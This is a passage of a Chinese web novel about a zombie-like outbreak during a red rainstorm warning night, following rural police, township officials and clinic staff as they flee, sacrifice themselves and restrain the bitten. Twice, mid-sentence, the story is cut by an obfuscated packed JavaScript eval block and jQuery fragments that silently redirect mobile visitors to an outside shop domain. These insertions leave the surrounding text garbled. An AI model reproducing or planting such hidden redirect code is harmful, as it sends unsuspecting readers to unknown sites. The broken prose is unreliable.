“王淞,你没受伤,暂时没有感染风险,联络上级的任务交给你了。”
“把这些装备,给大姐和孩子穿上。你负责保护好大姐以及老人孩子。”
“你们马上收拾尽量多的食物和水,进屋去,关上门,上级救援没有到之前,没有绝对安全的情况下,不要出来。”
王淞嘴皮颤动,“邱所,你……”
他是被划到了老弱妇孺的队伍里了吗?不,他也可以……
副所长伸出手,王淞迟疑了下,把手握了上去。
其他人看见副所长的眼神,也把手搭了上去,就像他们平时工会活动做游戏之前的环节一样,大家的手搭握在一起,表示团结共进退。
“同志们,我现在,状态很不好,发烧,口渴,饥饿,浑身的肌肉在抽搐,四肢骨头僵硬,思维也有些混乱。”
“我肯定感染了,不知道会不会跟黄书记一样,要不了多久,变成疯子咬人。”
“我家里,父母年纪大了,老婆要带两个孩子,老大读高三了,二妹还在读小学……”
“今晚,要是我变成那种怪物,要是你们能安全回去,记得替我看顾下家人。”
王淞鼻尖一酸,眼眶红了,他听着副所长这是交代遗言的意思。
副所长语气越来越疲惫,说话也越来越小声,他看向另外三个人:
“王淞年纪小,还没有结婚成家,又是唯一没伤的,大姐一家人需要保护,所以我把枪和对讲机给他,你们三个,没意见吧?”
那三人赶紧摇头,纷纷回答:
“邱哥,没意见。”
“这一家老人女人孩子的,得留人保护。”
“我们兄弟几个,说啥这些……”
副所长欣慰地点头,本来想笑一下,可脸上的肌肉不受控制,笑得有点像是在哭:
“你们三个,只是受了抓伤,紧急处理过,不一定会被感染,放心,你们肯定能撑到救援赶到的。”
“不过,你们还是远着大姐一家人,你们去另一个房间锁上门吧,如果,如果跟有人我一样有剧烈反应了,记得自己提前离开这栋楼。”
“不要一时犹豫,害了自己人。”
想起前几年曾经发生过的疫情,在一切混乱的初期,总有许多因为情况不明和信息不畅产生的昏聩选择,太多了。
谁不怕死呢?都怕的。可他们是人民警察,他们永远要冲在第一线。
所以副所长还是要叮嘱一遍:
“咱们现在这样,脱险了也不要轻易往家里跑,我感觉这病邪门……要是跟新冠一样惹出去了,家里人都活不了。”
“要相信上级,相信组织,相信国家,顶多不过就是一场新的疫情嘛,肯定很快会被控制住的。”
那三个民警一个个声音发涩。
“邱所……”
邱所艰难地站起来,他像是想起什么,动作迟缓地从上衣兜摸出一枚党徽,交给三人中的一个人。
“梁淮,你已经是发展对象……虽然还没走完程序……提前,送你一个。”
梁淮拿着那徽章,胸膛猛烈上下起伏,一口气哽在喉咙里,说不出话来。
副所长是他的入党介绍人,今年准备发展他入党,局里还没来得及开支部会,时间本来定的一周后。
如果,如果一切顺利,副所长会是为他戴上人生中第一个党徽的人。
“外面的人都被引开了,我下楼去找间屋子躺一躺。如果我来敲门,暗号是…服务人民,纪律严明。”
这是公安机关人民警察誓词的话,每个入职的警察都会宣誓。
副所长希望他们永远记住,自己说过的誓言。
“说不出来暗号,别开门。万一要去救其他人,一定要量力而行,不要莽撞。”
副所长喘了一大口气,他扶着木头沙发,脚上已经不疼了,半边身体开始麻木。
“我下去了,大家,保重。”
王淞忍着热泪去帮副所长开门,不锈钢门发出吱呀声,副所长赶紧一瘸一拐地走出去。
王淞手发抖,牙关咬的梆紧,副所长僵硬地回头,眼珠已经有了荧荧的红色。
“要是我真的疯了,要咬人,你们记得要开枪,记得要打头。”
副所长释然地笑了下,用背使劲一顶,嘭地地关上门。
梁淮一把抹掉眼泪,表情是过分痛苦后的麻木。现在不是伤心的时候,他们都还在危险当中,现在,他是这只小队的主心骨了。
他收敛了情绪,转身请教同样眼泪汪汪的桂芳:
“大姐,找点吃的喝的给我们,我们去旁边房间待着。”
桂芳抹着泪点头,人心都是肉长的,副所长这样决绝地离开,让她想起小时候去烈士陵园上坟时,老师讲的那些故事。
最勇敢的人,总是最早死去。
虽然厨房是在底楼,但农户里都不缺吃的,二楼储物间里,桂芳堆着好多过年时候的年礼,什么盒装的芝麻糊玉米糊八宝粥,一箱箱的王老吉六个核桃等,她直接带梁淮去看。
梁淮三人倒也没有拿多少,他们随手拎了几盒,帮忙把剩下的都搬到桂芳屋里。
储物间里还有好些过年时候没有放完的烟花爆竹,梁淮想了想,好歹沾热武器的边,干脆全搬到他们房间。
*
昏暗的房间里,年轻的王淞把副所长的枪插进腰间的警用腰带,表情茫然,大脑一片空白。
他只是个民警辅警,参加工作时间也不长,整天调解的都是群众矛盾。农村里打架斗殴都少,老头老太太们的爱恨情仇多,抓猪追狗的事情更多。
对比现在的情况,他就跟穿越了一样,茫然无措,惶恐无依,难以言喻的不真实感笼罩在心头。
他很想抽烟,然而,出门急,没带。
就那么枯坐着,对讲机一会儿呲呲啦啦,一会儿呲呲啦啦,却没再说出过一句完整的话。
虽然警用频率不容易出问题,可惜,这是山区。
山区本来有些地方就容易信号不稳定,何况此刻是暴雨伴密集雷击,雷电产生的强电磁脉冲会干扰警用对讲机的短波信号。
那沙沙的噪音,是杂波覆盖了有效频段。
他在警务系统里发了一条短信,报告了副所长感染的信息,至于县上收不收得到就看天意了。
王淞坐在窗户边的凳子上,湿透了的衣服非常不舒服,可他不敢脱。
坐了一会儿,他掏出手机看了看,手机信号还是一格也没有呢。
人在无语的时候会莫名其妙地笑一下,王淞抱着自己的头,苦笑了一下。
他不知道该怎么办,就像这雷暴,一个多小时了,才缓缓减弱,可空气中让人汗毛直竖起的气场依旧存在。
这场破雷暴雨,到底要持续多久啊,真难熬。
两个老人躺在床上,闭着眼轻微扯着呼噜。桂芳抱着女儿,哼哼着安抚,母女俩惊吓太过,精神萎靡,有年轻警察守着,她们便迷迷糊糊睡了过去。
等到两声喇叭刺破暴雨夜,桂芳才陡然惊醒。
有车?大半夜的,谁的车?
枯坐着灵魂出窍般放空大脑的王淞也猛地一个激灵,他站起来掀开窗帘看出去。
正好看到楼下一个熟悉的身影,穿着警服,行动僵硬。
是副所长。
他一开始缓缓走出,然后突然加速,扑向了另一个熟悉的镇上领导,好像是魏副镇长。
有两个人冲了上来,一个对着发狂的副所长当胸一脚,另一个扶起摔倒的魏副镇长,连拉带拽地往车上跑。
一番惊动下,更多的感染者往这边奔跑,他们似乎对声音、光源以及活人敏感,往往一开始动作缓慢,被激活之后速度和力量都变得更加迅猛。
也许是半个多小时的空白让王淞冷静了心智,他发现自己可以仔细地去观察那些患者是什么情况。
真的,很像影视游戏中的丧尸。
他们折手断脚的都没有痛感,似乎只剩下了食欲本能。
原本几十号感染者已经令人触目惊心,现在肉眼看过去,楼下的村道上竟然堵了上百人。
完了,王淞心想。
如果这是来救援的,那,他们怕是要遭。
这些被堵住的车辆,他们……他们肯定跟当初自己人这边一样,不敢开车冲撞村民。
一旦被围死,就是受伤感染的结局。
打游戏的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122959|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,王淞可以毫无心理负担地对丧尸开枪,那首先是游戏,其次是虚拟。
现在,此刻,这里,无授权无上级指示,作为基层干部,谁会,谁敢,谁能对老百姓出手?
那是村民啊,是大家平时下村入户亲切打交道的活生生的人,是路边的小青菜都要送你一把,家里的桃子李子要塞给你尝的乡亲。哪怕你逮到他们又在田地里烧秸秆要罚款,他们顶多叉着腰跟你对骂、泼你大粪,但隔段时间遇到了依然会笑着招呼的村民。
警察和镇干部,都是服务群众的国家公职人员,无论是纪律规定还是人性道德,都不可能干出开车撞击碾压群众的行为。
隔了一个客厅的另一间屋内,三个分散睡觉的警察也被喇叭声惊醒,梁淮在靠近窗边的桌子上,坐起来就往窗下看。
他的反应和王淞是一样的。
这群人,怕是也走不了。
但事情的发展却和他们警察几个预测得不太一样。
*
当魏诗书被发病的副所长吓得往后一退,摔倒在地时,老毛和李清峰已经快步冲了过去!
李清峰毕竟是退役武警,爆发力强,冲上去毫不犹豫地当胸踹了已经发狂的副所长一脚,踹得副所长倒飞了出去。
老毛见状扯起魏诗书就往车这边跑。
魏诗书脑子宕机,好在身体没卡顿,跟着跑得贼快。
就这么个间隙,四周潮水般地围上来许多村民。
“别管了!快跑!先回政府!这情况我们处理不了!”
老毛感觉自己血压起码飙到了200,高声喊,“快走!”
这么个间隙,原本的2车,现在成了头车;负责留守准备的舒铭坐在驾驶位上,二话不说,油门踩满!
那些嚎叫,那些扭曲的身影,震得她无法思考,听到领导的命令,就执行领导的命令!
前面有人没法开?!会撞到人?!
不存在的!舒铭是本地人,自有一套暴力窄路错车的方式!
谁说开车一定要跟着道路开?!只要车能开过去的地方都算路!
油门一蹬,她沿着地坝斜角的栅栏轰地蹿了出去,那里看似被遮挡,其实就是个木头架子塑料布棚子,里面堆点背篼撮箕竹筐扁担等农用器具而已!
撞过去,就可以从此刻的路边蹿进隔壁人家的地坝,再一路碾过两家的门前花园和竹篱笆栅栏!
杨佳木差点没来得及上车,车就蹿出去了。他连呼带喊地跑上去,宛如当年被他暴力开车颠飞出去的战友们。
好在油车启动速度没有电车那么迅猛,杨佳木爆发之下追了上去,蹿进后排,连车门都没来得及关——受到惊吓的女司机舒铭已经一路乒乒乓乓地开过去——转角的时候,车门撞飞了!
杨佳木:妹儿你似乎过于勇猛!!!到底是谁教你这样开的车!!!
后排的三位同志被甩的七荤八素,尤其是杨佳木,车门没了,他几次差点被甩出车!
死死地抱着前排的凳子,杨佳木感受到了孽力回馈。
以前颠簸战友的时候他是活蹦乱跳,没想到退役之后还能有这番现世报!
原本魏诗书是在2车,现在来不及了,老毛抓着魏书生往1车后排一塞,李清峰也动作敏捷地跳了上去。
可他们没有苏铭那车人的顺利,苏铭只早走了几秒,这黄金的几秒,感染者们已经飞速聚集起来。
老毛刚拉开车门,被蜂拥而上的感染者们抓住,老毛也不含糊,立即还手踢打,他是一二十年前的村干部习性,不像现在那么遵规守矩。
前排开车的同志傻了,一时间不知道该怎么办,直接走就得丢下老毛,留下来就是大家一起感染。
李清峰目瞠欲裂,后排挤着四个人,他上车的时候已经扔掉了防暴叉,此刻根本不敢开门下车,他下去可以,其他感染者挤上车来怎么办!
老毛被抓扯,双拳难敌人多,瞬间被咬了好几口,他见这个情况,干脆心一横!
“别墨迹!快先走!紧急情况保命要紧,撞啊!情况特殊,这些感染者已经没有神智了!!!”
上过战场的老兵,总是要杀伐果断很多的。
情况不明,会议室满地的血肉,这些疯了的患者有可能会活生生撕咬吞吃其他人,老毛不能赌!
他年纪大了,退二线了,回不回去无所谓!可他带出来的人,必须得回去!
“艹!服从命令!撤退!!!”
老毛身上被撕扯下了好几块肉,他咆哮着怒吼:
“老子以老班长的身份命令你们,撤退!!!我负全责!!!”
8. 红色暴雨预警夜8
魏诗书是很不喜欢老毛的。
他年轻,骄傲,材料写得极好,开会发言信手拈来。
而老毛,喜欢摆老资格,教育这个提醒那个,总是一副过来人模样,满嘴跑火车讲他的光辉岁月,喜欢讲荤笑话——
以上都算了,魏诗书最反感的,是老毛看不上县里下派来的干部。
年轻=莽撞无经验
骄傲=愚蠢不尊老
材料写得好=屁作用没有只会吹牛x
老毛私下的评价,魏诗书都知道。
所以魏诗书也故意作对。
你有经验?过时老套不合时宜;
你有光辉过往?好汉不提当年勇;
你喜欢指点几句后辈?我分管的人要你多管闲事。
来啊,相互膈应啊!我能等到你退休!
可是,此刻的魏诗书,突然觉得,自己很幼稚。
今夜的雨太大,雷声太响,突发情况太惊人。
魏诗书脑海里只有一个念头,他不能丢下老毛!
老毛要是不跑过去救他,就不会被困住。
在老毛怒吼的那几秒钟,他已经凭借比这些退役军人更瘦小的身躯钻到了前排,把安全带扣在身上,然后打开了车门。
“开车!!”魏诗书不敢说太多字,他抓紧了老毛的后背,使劲往里拖。
虽然魏诗书拖不动老毛,但开车的同志也很给力,在看到那些人毫无理智地撕扯老毛身上的血肉后,他潜意识自动接管了大脑。
不需要思考,人为了求生,肢体会自己动作!
舒铭开车的路线已经打了个样,开车的同志一个油门兼甩动,冲!!!
车窗外的雨水糊了魏诗书一脸,他双手死死抓着老毛的衣服,安全带死死地勒住他的身躯。
他想:老毛吃什么长大的!真特么的重!这回危机过了,一定要去健身!
车辆的动力远比人力大,老毛龇牙咧嘴地被从人群中扯离,昏暗和混乱中,电闪雷鸣中,他被树木枝条抽了一脸,上下颠簸,腿脚不知道撞到什么,痛得很。
呵,这小魏同志,还是不赖。
一辆又一辆的车狂奔而去,只留下了不清楚前因后果的镇长一车人,万分无助地停留在原地,承受着上百“人”的咆哮围攻……
*
镇卫生院
一个小时前,院里紧急通知所有医护人员返岗,隔得近的都来了,已经提前开始做准备;住在县城的多半是走不了国道只能绕路,一时半会儿还到不了。
此刻回医院来的,只有本地住得近的三个护士两个医生。
镇政府分管卫健的副镇长侯未香还守在这里,负责卫健工作的中层干部也在,正和院长、副院长一起安排工作。
应急突发情况,虽然不管是镇政府还是镇卫生院,都有一套平时准备着的应急预案。
但,再完美的应急预案,都抵不住现实的突发变故。
大家对着这赶回来的三猫两狗长吁短叹,人手严重不足啊!
再看了侯副镇长手机工作群里陈云皓发的视频后,白白胖胖的院长更是头痛欲裂:
“首例病患确定是刘二刚不?他什么时候被狗咬的?怎么有那么多村民同时发病?村卫生站也没有上报过多人被狗咬伤的事情啊!黄书记又是怎么回事,发病得这么快?这是什么变异的狂犬病毒吗?”
侯副镇长拿着手机上下翻,信号断之前县上已经有县级部门给出了明确回复,县上已经开启突发公共卫生事件响应。
“我们现在接到的信息,第一个咬人的是刘二刚。但白天的时候,踏水村已经出现家禽被咬死、家中大狗失踪的情况。其它具体情况不明。“
“这已经属于突发公共卫生事件了,县卫健局和疾控中心的应急车辆已经出来,公安、农业农村部门都跟随响应。其他村社区,网络中断前我们已经通知出去,要先在各村组群里发预警。明天天一亮,就开始统计半年内被猫狗等动物咬伤抓伤的情况。”
侯未香的脑仁一抽一抽的疼,她急的一小时不到额头冒出好多个痘。
暴雨时候的大半夜啊,真的是十分不友好的时间段。
各村社区都无法马上组织起来大量的人员进行排查,要是半夜出去再被什么狗咬了蛇咬了,或者是乱跑的感染者咬了,麻烦更大。
大家都在等,焦灼地等,等上级的支援,等雨停,等天亮。
半秃顶的副院长一直在拨打外出医生护士的电话,可惜,通信出问题了,打不通。
副院长焦虑得原地绕着院长和侯未香转圈,嘴里一直用土话念念叨叨:
“哎哟喂,要各儿法哦,先人板板嘞,电话咋个打不通哦,晓得是啥子情况哦,硬是伤人得很,天菩萨地菩萨,楞个危险嘛就不要喊我们卫生院出人嘛……”
侯副镇长本来就头疼,再被副院长这样绕着念“经”,不仅是头疼,心口都要疼了。
她不得不打断副院长,转移对方的注意力,“从视频上看,卫生院的医生护士都是上了救护车逃…开走了,应该会回来。”
“坐下来,别转了,我们再商量下工作。”
副院长这才坐下来,但还是跟屁股底下有针头一样,左右都坐不周正。
“虽然国道断了,但县上的支援队伍今晚一定会到。医疗系统的队伍肯定会优先到卫生院集合,毕竟治疗和使用药品器材什么的还是卫生院更方便。”
“我们要先把能准备的都准备好,单人单间避免交叉刺激的隔离病房,医护人员至少穿戴二级防护,患者的分泌物、排泄物、接触过的物品都必须严格消毒。”
侯未香并不是学医出身,她大学时汉语言文学专业,只不过是在镇上分管联系医疗卫健口,所以她说到专业的知识,都不太有底气。专业领域上,她更倾向于听院长的意见。
“院长,你看如何?”
院长其实也不是什么专家,卫生院能治疗的无非是感冒头疼和基础伤病,但凡有点难度的他们都喊转院。
他搓着手为难地回答,“疫苗和清创药品我们已经做好准备了,可咱们卫生院这条件,隔离病房是别想了,没有。”
副院长突然灵光一闪,他刨了一把稀疏的头发,“侯镇,我建议之后带回来的患者们,最好是统一带到前些年废弃的隔离点去。那里有一百多个小方舱,还有专门的隔离消毒建筑。”
侯未香也有点为难,“已经好多年没用了,今晚这场雷暴雨覆盖了全镇,又是半夜……”
“你跟书记报告下嘛,所有镇干部马上去收拾,能收拾多少间算多少间。咱也不知道今晚会闹成什么样,天亮了会怎么样。之后万一有发病的需要隔离,去方舱总比在咱们这里方便,并且不容易打扰到其他病人。”
院长总觉得心里发毛,那视频里的场景,太不正常了,梦回新冠,梦回非典,梦回一切艰难时刻,甚至梦回看惊悚片时的心理状态。
反应过激不可怕,顶多自己吓自己;反应不过来才可怕,你根本预计不到后果到底是什么。
侯未香觉得院长说的有道理,现在电话打不通,她只能亲自回去跟镇书记报告。
“那我先回去一趟。肖主任留在这里,要是有什么情况,你安排她回来传话。”
肖主任是负责卫健工作的一位中年大姐,跟医院打交道多年,院长副院长跟她都很熟稔。
说完,侯未香打着伞急匆匆地去开车,往镇政府开去。
然后——侯未香刚走不到五分钟,卫生院的救护车回来了。
*
范小秋和救护车司机惊魂未定,他们一路风驰电掣地飞奔回来,纯属本能反应。
救护车司机当时没下车,他眼看着那么多镇干部警察随行,自己下去也没什么用,就把救护车调头,尾门锁打开,等着可能出现的伤员。
结果没想到,他车都还没摆正,里面就出了变故。范小秋一边嚎着诈尸一边玩命地跑,后面的场景跟恐怖电影一样。
他也是被吓到了,范护士说快跑,他立马开车就跑。
等车都开回镇卫生院了,这两人才后知后觉。
他们倒是跑了,派出所和镇政府的同志们呢?
司机:“……”
范小秋:“……”
啊这……他们也有车,应该也会跑……吧?
他们面面相觑地在车里对视良久,苦涩的情绪肆意蔓延。
虽然觉得很愧疚,可是当时那种情况,人在受到极度惊吓后本能选择了先跑,也是没有办法的事情。
跑都跑到卫生院了,总不可能就这样又转头跑回去吧……
遇事不决问领导,范小秋决定,先去找领导!
楼上有护士看着救护车回来了,不知道是什么情况,赶紧跑回去通知院长。
听护士来说救护车回来了,院长副院长立马起来,带着医生护士往下走,大家七嘴八舌地讨论。
“能把车开回来,那司机应该还是个正常人!”
“不知道有没有受伤,还是赶紧先打一针疫苗。”
“打疫苗有用吗?”
“甭管有用没用,打了心里踏实些啊!你要是被咬了,你打不打?”
“我现在就想提前给自己一针……”
“要不等会儿悄悄先打?”
“不符合规定欸,咱们这里存量本来就不够,肯定要紧着受伤村民和受伤一线同志用。”
“我就说说,唉,紧张得很。”
“……”听着三猫两狗的叽里咕噜,副院长感觉自己头顶那几根稀疏的秀发摇摇欲坠,今晚说不定就得脱落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122960|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院长瞪了这几人一眼,年轻人真的就是没轻没重的。
“好了,别闹了,待会儿站远点,先观察情况。”
路过底楼墙壁转角的时候,院长顺手拿了一根输液杆子在手上。
副院长不明所以,“院长,你这是?”
院长看了看手上的杆子,这真的是条件反射动作,他赶紧给自己找理由:
“顺手拿了,我这觉得啊,万一,你说万一咱们医生护士被咬了,待会儿突然一个暴起,咱们咋办?”
副院长和医生护士们听了,全部将院长护到身前。
院长;“……”很好!等着发年终绩效的时候你们再来讨好我吧!
范小秋和司机准备下车的时候,院长一行人都走到了大厅外,阵型十分奇特。
拿着长输液杆子的院长走在最前面,脚步颤巍巍的,丝毫没有平时的威风八面。副院长和医生护士们跟在他的身后,各个也是神色紧张,随时做好奔逃准备。
此时救护车停在平时拉病人回来的固定位置,刚好是大门外。
毕竟司机能把车平安开回来,没有撞山壁翻高坡,已经是运气绝佳外加身体本能反应下超高的驾驶技术。
司机本人坐在驾驶位上,两条腿不受控制地抖,他真的是超常发挥了。
范小秋下车就开始哇哇大哭,她浑身湿透,惊吓过度,下车脚软得差点没摔倒:
“呜呜呜院长啊!太吓人了啊!这到底是怎么回事啊!”
四十多岁的院长谨慎得很,他隔着两步远,一边后退,手里的杆子对着前方,一边伸出一点点手掌对着空气上下扇动,表示对范小秋的安抚:
“好了好了,没事了,快下来喝点热水,跟我们讲讲到底发生了什么。”
副院长伸着脖子往车里面看,满脸的担心,急切地问一脸菜色的司机,“小唐呢?”
小唐是跟着救护车出诊的医生,年纪不大,是本地孩子读定向专业回来的。
这种定向免费医学生,主要是培养农村孩子,在校期间学费住宿费国家负担,还会给生活补助,毕业后纳入乡镇卫生院编制管理,定向服务基层。
小唐家以前还是贫困户,副院长负责帮扶,逢年过节都要亲自上门,高考选定向医学生专业,也是副院长指导,他对小唐就跟自家亲孩子没区别。
毕业后的小唐成本来可以选离城更近的卫生院。可小唐却主动选择回这边来,他说这是接班,他要照顾好乡亲们。
乡亲们也都很喜欢小唐,他听得懂方言,从不厌烦老一辈人叽里咕噜半天讲不到重点的行为,和镇里各村社区的都沾点转角亲戚,白班夜班任劳任怨,上进肯学,优点数不清。
司机听范小秋说过唐医生跑上车了,他一路丢了魂一般地开车,根本无暇顾及,这才往驾驶室后面的玻璃窗看,嘴里回答:“在里面呢!”
唐医生垂头坐在救护车里一侧的凳子上,整个人垂着头,身躯细微地发着抖。
“他没事吧?”副院长焦急往前面走了两步。
司机敲敲窗户,后面的唐医生却没反应。
“好像是晕了过去……”司机下车,往后走了一步无去看。
唐医生一动不动,垂着头,像是散了最后一口气,径直头向下倒在了地上。
司机愣了下,“好像,刚死了……”
这句话说得大家一惊,副院长整个人都懵了,直接拉开他这边的车门。
唐医生倒地的姿势还维持着坐姿的佝偻,身体没有了呼吸的起伏,皮肤呈浅青色。
出于医生条件反射,副院长怀疑唐医生是心跳呼吸暂停,他立即伸手去摸唐医生的颈动脉,甚至心里想好了要为同事做心肺复苏。
在副院长触及唐医生身体的瞬间,唐医生猛地抬头,双目荧红,身体拉成反弓状,然后突然蜷呈一团,拉住副院长的手狠狠咬下!
“啊啊啊啊!!!”副院长发出刺耳惨叫!
周围的几个医生护士吓到了,赶紧上去拉扯。
院长目眦欲裂,在一旁喊,“别被他咬到,去拿叉子拖把啊!别用手去拉!!”
说话间有医生往门卫室跑去拿武器,院长举着手里的输液杆冲了上去,先是往唐医生身上打。
连打十几下,打得院长气喘吁吁,却丝毫不起作用。
旁边另外一个男医生看不下去了,夺过院长手里的杆子,用戳的方式,毫不留情地往唐医生拿荧红色不像人的眼睛上戳!
这般连戳几下,有着躲避本能的唐医生在损失一只眼睛后,终于放开了副院长。
副院长右手被撕掉好大一块肉,手指也被咬断了两根,疼的满头大汗,他心中涌起难以言喻的悲痛,比失去手指痛多了。
小唐啊……他怎么跟小唐家里交代啊……
9. 红色暴雨预警夜9
大雨浇在陈云皓头顶,他奔跑在高低不平的田埂上,这辈子的平衡性都发挥出来了,黑夜里根本分不清楚东南西北,只是在时不时的闪电中一味跟着大家逃命。
他的脑海里,还在循环着当时跑回去救人的场景。
肾上腺素爆发后力大无穷,他用防暴叉推开了咬人的黄书记,罗站长推开一个咬他的人,和章副镇长拉起来了受伤的李大爷,老杜那边也是用防暴叉挡开了门口的感染者,大伙儿一起往外跑。
派出所的几个警察吸引了前面大部分感染者的注意力,陈云皓几个人跑出来的时候,身边没有几个感染者追逐。
老杜也是本地人,眼看村公所大门被堵,当机立断从旁围墙栅栏口上往外翻。羊群效应下,陈云皓等人都跟着翻。
老杜在前面带路跑,罗站长搀扶着受伤的李大爷跟上,章副镇长和陈云皓两人落在后面,但也紧紧地缀着,没有掉队。
从村公所跑出来的时候大家都紧张,憋着一股劲,等跑了一段路后,大家都开始不行了。
罗站长喘着粗气,“不行,我高血压,我感觉颈动脉一跳一跳的……我得躺下休息下……不然赶紧马上要死了……”
说完,罗站长径直躺倒在路边的油麦菜地里,倾盆大雨浇在他身上,沿着雨衣是缝隙流进去,打湿了身上的衣服,他也完全不管,甚至没有力气翻个面。
李大爷本来就六十岁出头了,要不是延迟退休,他已经回家含饴弄孙。此时他是被咬伤的状态,浑身发僵,罗站长一倒,他也跟着瘫倒在地。
章副镇长是个高大的胖子,腿脚并不灵便,这一番跑下来也是上气不接下气,累得不行,一屁股坐地上。
只有五十多的老杜和二十多的陈云皓两人还能立着,不仅立着,这两人还拿着防暴叉没丢,如出一辙地把防暴叉杵在地上当支撑。
陈云皓一样气喘如牛,但他不是像老杜那样有意识地带着武器,他完全是太紧张了死攥在手里没松开,甚至一开始都没意识到自己带了防暴叉。
“这到底是咋个回事哦?”老杜惊魂未定,他左右环视一圈,小山坡的菜地上地势开阔,四周没有追上来的人影。
陈云皓摸手机看了下时间,他们一口气竟然跑了十来分钟,人在惊恐下果然潜力无穷。
再看一眼,他发了什么东西到镇政府的微信群?!
……幸好是发到镇政府的群了,这不算他违反规定了吧……
再再看一眼,没信号了?!
环视雷暴之夜的山峦起伏,陈云皓心中一片苍凉。
早知道自己从小到大都倒霉,但真的没想到能这么倒霉。
“……罗站长,我觉得这不像是普通狂犬病,这怕是,丧尸病毒啊……”
虽然有点离谱,但刚刚发生的事情更离谱,陈云皓觉得自己还是要跟大家说一说。
雨水淋得罗站长浑身冰凉,他苦笑一声,“丧尸哦,我看过,那什么,嗯,生化危机,行尸走肉,还有个韩国电影,釜山行?哈……你别说,还真像……”
章副镇长沉默半晌,回应道,“一咬一抓就被传染,很久都不死的那种丧尸?”
老杜和老李听不懂年轻人的对话,沉默。
陈云皓犹豫了下,“黄书记被咬了,我上来这也就半小时吧,他开始咬人……至于死不死,实话说,咱也不知道丧尸是活着变异的,还是死了变异的……按影视剧游戏的设定呢,一般都是是死的……”
“他们能跑能跳能咬人,还能嚎,我们怕是不能判定他们都死了吧。”
章副镇长长叹一口气,“这情况可麻烦了。”
“老杜,能带我们绕小路回镇政府不?”
老杜抬头左右看一圈,笃定地点头,“能,我就在这片山长大,闭着眼睛都能带你们回去。不过,老李……”
老李被咬了,大家都知道。
老李苦笑一声,“哎,我现在浑身发冷,骨头都僵了,走不动了呢。小黄这小子哦,咋的就变成你们说的啥子丧尸了呢……这还救得回来不?”
“哎唷狂犬病都是必死,估计他也不行吧……前几天他还说要去给老张家申请低保呢,这么好的同志啊,当年我就说他适合去当兵,回来我也觉得他适合当村干部,这一干就十多年,每个月那点工资还不够他的烟钱,他也是能一直踏踏实实地干着……”
老李似乎脑袋有点混沌了,开始絮絮叨叨。
章副镇长看着老李,老李头发花白,颧骨高凸,是一辈子都奉献在基层的老干部。
他在乡镇干了一辈子,没提拔过领导岗位,但做事勤勤恳恳认认真真,老了也从来不嫌传帮带麻烦,尽心尽力地教导年轻人;就是爱抱怨,爱抽烟喝酒打牌,上班时间也喜欢溜去村上找他们那个年代当过村干部的老年人喝酒,美其名曰联系群众,以至于被县里纪委抓包批评了好几次。
老李这人好脸面,每次被批评了,就会骂骂咧咧好几天,说现在的小兔,小同志们太教条了,简直是不给前辈脸面,非要书记镇长当着别人表扬他的过去才行。
他最大的梦想,就是光荣退休那一天,镇政府能给他办一个欢送会,要总结下他一辈子的工作成绩。
“老李……”章副镇长试图打断老李的话。
“哎,好了,不说废话了。小章,你们快回去,别管我了。带上我走不快的,万一我被感染了,说不定还要咬你们。”
老李艰难地挥挥手,他手上也有深入血肉的齿痕,“我老东西了,这辈子反正过完。你们可不行,尤其是小陈,黄瓜才刚起蒂呢,刚参加工作,啥子都不懂,婆娘还没讨到,可别被咬了。”
躺着的罗站长苦笑一声,“我也被地上蹦起来的人啃到了啊。走路回去,起码一个多小时,我会不会半路变异,也害了你们啊。”
章副镇长心里难受极了,一时间他也不知道该怎么抉择。
老杜却不管这么多,“嗨呀,哪有人还没死就丢战友的,你们别墨迹了,这样,听我的。出门的时候我带了绳子,你俩先绑手,再做个嘴套把嘴巴塞了!然后,跟着我们一起走!”
“老李,你啊,就算是死了,我也要把你拖回镇政府去!你要是因为这事感染死了,那可是因公殉职!要给你办追悼会那种!”
陈云皓欲言又止,理智上他想,咱们把两个丧尸感染源带回镇政府?!镇政府不会团灭吗?!
可是,他看着李大爷和罗站长,情感上,他能理解,这是活生生的两个人,两位前辈,是不能丢弃的同伴。
再说了,把人丢在这里,不也是丢了两个感染源在外吗?
他又做不到跟游戏影视里一样,把人现在就给ko了烧一把火,那是犯罪!
老杜的提议深得章副镇长的心!
虽然被一群人追着咬的时候很吓人,但熟悉的人在身边只是变异了要咬人,好像,也并不是什么太恐怖的事情。
在变异之前先把手绑了,再把嘴堵了,不就行了嘛!
老杜虽然是驾驶员,但三十年前也是当过兵的,他们出门的时候带了绳索,老杜那一份没有放后备箱,而是挂在腰间。
除了绳索,他还用中老年男人随身携带的钥匙串上面的多功能指甲剪,把一件雨衣和一件外套剪开撕裂成布条,然后一边绑一边教导陈云皓,陈云皓不得不被动跟着一起绑人。
“辛苦你们先不好说话了啊,回了镇政府咱们再说。手我就给你们绑前面,但抬不起来,这样重心稳好走路,又避免你们万一变异了还知道自己取嘴里塞的东西。”
老杜扯了扯绳子另一头,牵在了自己手上。
一行五人在简单的整备后,踏上了返回镇政府的路程。
他们需要从小路穿过一片密林,沿着村道往下走。
熟悉村道山路的老杜走在最前面,陈云皓陪着罗站长和老李走中间,高大的章副镇长走后面。
章副镇长还在树林里捡了一根结实的粗木棍当武器。
老李步履蹒跚,走得慢,罗站长也越走越不利索,陈云皓在旁边忧心忡忡。
手机没信号,这让陈云皓很紧张。
天上轰隆隆的雷声一直不停,陈云皓真的好害怕走在路上突然被雷劈死。
